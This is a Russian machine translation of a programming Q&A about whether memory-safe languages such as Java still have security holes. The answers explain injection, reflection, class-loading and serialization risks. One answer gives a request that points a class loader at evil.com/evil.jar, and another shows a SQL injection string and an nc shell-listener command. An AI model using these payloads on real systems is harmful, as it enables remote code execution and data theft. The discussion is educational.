Безопасность использует «безопасные» языки

Question

Я только недавно закончил читать Безопасное кодирование на C и C ++ Брайана Сикорда, который работает для CERT .

В целом, это отличная книга, и я бы порекомендовал ее любому программисту, который еще не читал ее.После прочтения мне приходит в голову, что для всех различных типов уязвимостей безопасности (таких как внедрение кода эксплойтов, переполнения буфера, целочисленные переполнения, уязвимости форматирования строк и т. Д.) Каждая дыра в безопасности сводится к одному:возможность доступа к адресу памяти, который не ограничен буфером, который был законно выделен процессом.

Способность внедрять вредоносный код или перенаправлять логику программы полностью зависит от возможности доступа к адресам памятикоторые попадают за пределы законно выделенных буферов.Но на таком языке, как Java, это просто невозможно.Худшее, что может случиться, - программа завершится с ArrayIndexOutOfBoundsException, что приведет к отказу в обслуживании.

Итак, существуют ли какие-либо уязвимости безопасности в «безопасных» языках, таких как Java, где недопустимый доступ к памяти невозможен?(Я использую Java в качестве примера здесь, но на самом деле мне интересно знать об уязвимостях безопасности на любом языке, который предотвращает недопустимый доступ к памяти.)

Answer 1

Конечно, книга, посвященная C / C ++, будет посвящена наиболее распространенному эксплойту.Трюки с памятью в стеке и пр.

Что касается "очевидного" примера языка с множеством защитных кават без прямого доступа к памяти ... как PHP?Помимо обычных XSS, CSRF и SQL-инъекций, у вас есть удаленное внедрение кода в более старые версии PHP из-за включения магии и так далее.Я уверен, что есть примеры Java, но я не эксперт по безопасности Java ...

Но поскольку эксперты по безопасности Java существуют, я уверен, что есть случаи, о которых вам нужно беспокоиться.(в частности, я уверен, что SQL-инъекция также изводит наивных веб-разработчиков Java).

РЕДАКТИРОВАТЬ: от всей души, Java имеет динамическую загрузку классов через ClassLoader.Если бы вы по какой-то причине написали собственный загрузчик классов и не проверяли файлы .class, то вы бы открыли свою программу до внедрения кода.Если этот пользовательский загрузчик классов каким-то образом читает классы из Интернета, то также возможно сделать удаленные внедрения кода.И как бы странно это ни звучало, это довольно часто.Рассмотрим Eclipse и его структуру плагинов.В буквальном смысле, он загружает загруженный код автоматически, а затем запускает их.Признаюсь, я не знаю архитектуру Eclipse, но держу пари, что безопасность является проблемой для разработчиков плагинов Eclipse.

Answer 2

Возможность внедрения вредоносного кода или перенаправления логики программы полностью зависит от возможности доступа к адресам памяти, которые выходят за пределы законно выделенных буферов.

Это выглядит как узкое представлениео том, что является и не является вредоносным.Например, SQL-инъекция (или любой другой тип инъекций) не требует переполнения буфера и обычно внедряет вредоносный код в вашу систему.Однако это, безусловно, возможно;например, некоторые управляемые языки допускают символ NULL в середине своих классов управляемых строк.Были интересные ошибки, когда строка передавалась в базовую ОС, где API управляется на C / C ++ и, таким образом, обрезает строку в первом найденном \ 0, что, например, может позволить вам бродить по файловой системе.по желанию из-за ошибок усечения.

Тогда есть плохое шифрование, утечка информации и все другие забавные ошибки безопасности, которые не связаны с буферами ...

Answer 3

Вот интересная дыра в безопасности, вероятно, гораздо более вероятная в системе Java, чем в системе C ++:

предположим, что веб-фреймворк использует отражение для установки полей объекта из параметров URL

/update?a=1&b[2]=2&c.x=3&c.y=4

очень удобно и мощно. позволяет обойти любой граф объекта ...

когда злоумышленник передает ему URL-адрес, подобный этому

/update?class.classLoader.ucp.urls.elementData[0]=http://evil.com/evil.jar

игра окончена. вся система находится под контролем атакующего.

см. http://seclists.org/fulldisclosure/2010/Jun/456

и я не думаю, что это случилось только с Весной. Существует множество систем Java, которые в значительной степени открывают свои животы открытому миру.

Answer 4

Да.Это произошло больше , чем один раз .Тот факт, что язык затрудняет создание недопустимого доступа к памяти, не защищает вас от атак автоматически.Кроме того, есть еще и «социальная инженерия», которая может заставить пользователей запускать вредоносные программы, не требуя никаких подвигов!

Лучшее, что вы можете сделать, это поддерживать свое программное обеспечение в актуальном состоянии, использовать методы программирования, которые уменьшают ошибки, исправлять серьезные ошибки, как только они обнаруживаются, и обучать пользователей.

Answer 5

Из собственного Руководства по безопасному кодированию для языка программирования Java, версия 3.0 :

Платформа Java имеет свой собственный уникальный набор проблем безопасности.Одним из основных соображений при проектировании является обеспечение безопасной среды для выполнения мобильного кода.Хотя архитектура безопасности Java может защищать пользователей и системы от вредоносных программ, загружаемых по сети, не может защитить от ошибок реализации, возникающих в доверенном коде .Такие ошибки могут непреднамеренно открыть те самые дыры, в которые была заложена архитектура безопасности ...

Answer 6

Непроверенный пользовательский ввод может привести к множеству дыр в безопасности:

 stmt.executeQuery("SELECT * FROM Users where userName='" + userName + "'");

, если userName не проверено и поступает из внешнего источника, кто-то может легко указать свое имя пользователя как "john' or userName != '",Приводит к раскрытию всех данных в вашей таблице.

Runtime.getRuntime().exec(command);

То же самое и здесь.Если команда не проверена и поступает из внешнего источника, кто-нибудь умный может выполнить команду «/ bin / sh | nc -l 10000» или что-то подобное, получив доступ к оболочке на сервере.Или внедрите исходную программу C, использующую локальную дыру в безопасности, и скомпилируйте command и запустите ее прямо на сервере.

Answer 7

Многие программные уязвимости безопасности могут быть классифицированы как инъекционные атаки, специфичные для данного языка или среды.Вы специально читали о внедрении атак в C ++, когда пользователь может внедрить код через уязвимость переполнения буфера или форматирования строки.Если вы расширите свои исследования до HTML, вы обнаружите, что межсайтовый скриптинг (внедрение кода JS) и SQL-внедрение (внедрение запросов SQL) довольно распространены.Взгляните на PHP, и вы заметите, что внедрение на уровне команд обычно является проблемой.

В конечном счете, у каждого языка и среды есть свои проблемы.Будь в курсе их.И, конечно же, ошибки безопасности бизнес-логики будут продолжать существовать независимо от языка, инфраструктуры или ОС, которые вы используете.Например, корзина покупок, позволяющая покупать отрицательное количество товаров за отрицательную общую сумму, будет проблемой безопасности просто из-за плохих навыков программирования.

Answer 8

Java более безопасна, чем C ++ в эксплойтах памяти (из-за явной проверки встроенного языка).Это исключает категорию эксплойтов переполнения буфера.
НО java не совсем безопасен.
Особенности встроенного языка для удобства программиста, могут использоваться как часть злонамеренной атаки.Например, используя рефлексию, программа может узнать значения переменных класса и изменить их (есть способы переопределить менеджер безопасности - по крайней мере, так я прочитал).
Сериализация имеет проблемы (извлечение уязвимостей RMI), и есть многоПрограммисты API используют без опасений, что может привести к плохим результатам.Например, API, которые используют загрузчик классов нашей программы для загрузки "ненадежных?"библиотеки.

Answer 9

Существует множество уязвимостей безопасности, которые могут повлиять практически на любой язык - некоторые старые, некоторые новые.

Примером использования старой школы может быть создание временного файла с небезопасными разрешениями или в незащищенном каталоге- в результате происходит утечка информации или злоумышленник вставляет свою собственную информацию.

Эксплойты SQL-инъекций также существуют уже давно (т. е. передача неподтвержденного текста от пользователя в анализатор sql).

Атаки типа XSS являются относительно новыми и их легко создавать на любом языке программирования сервера.

Answer 10

Таким образом, реализация виртуальной машины становится тем, в чем вы нуждаетесь, чтобы найти уязвимость. И если вы думаете, что блокировка реализаций виртуальных машин проста, прочитайте этот удивительный отчет подробностей эксплойта для Action Сценарий виртуальной машины и подумайте, можете ли вы когда-нибудь гарантировать, что таких дыр не существует.